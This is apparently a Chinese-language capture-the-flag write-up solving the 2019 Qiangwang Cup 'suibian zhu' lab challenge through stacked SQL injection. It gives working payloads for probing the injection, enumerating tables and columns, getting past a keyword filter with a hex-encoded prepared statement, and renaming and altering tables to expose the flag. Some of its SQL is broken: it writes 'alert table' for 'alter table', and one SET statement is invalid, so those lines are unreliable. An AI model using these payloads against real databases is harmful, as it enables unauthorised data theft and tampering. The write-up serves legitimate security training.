强网杯2019-WEB-随便注

漏洞复现地址
https://buuoj.cn/challenges#[强网杯%202019]随便注]

  • 考察SQL注入的堆叠注入

输入1 或 2查询 显示查询结果


image.png

输入 1’ or 1# 显示出所有结果,存在注入


image.png

输入order by 1,2 显示正常,输入三报错,表中有两列


image.png
image.png

使用1' union select 1,2#,发现select、update、where、. 都被禁用。


image.png

输入 -1' show databases;# 查询数据库

image.png

输入 -1' ;show tables;# 查询数据表,存在words和 1919810931114514两个表
image.png

-1';show columns from words;# 显示出words表中的字段
image.png

-1';show columns from 1919810931114514;# 显示出1919810931114514表中的字段,中存在flag字段。
image.png

  • 利用存储函数,得出flag
    -1';SeT@a=select * from flag;prepare execsql from @a;execute execsql;#转化为16禁制
    -1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#


  • 重命名和修改表面,得出flag (利用此方法复现报错)
    因为这里有两张表,会县内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢

内部查询语句类似 : select id, data from word where id =

(这里从上面的对word列的查询可以看到它是有两列,id和data)

然后1919810931114514只有一个flag字段

这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字

这时候我们就可以已下面的骚姿势进行注入:

1.将words表改名为word1或其它任意名字

2.1919810931114514改名为words

3.将新的word表插入一列,列名为id

4.将flag列改名为data

构造payload

1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

接着我们再用1’ or 1=1 #,查询就得到flag

你可能感兴趣的:(强网杯2019-WEB-随便注)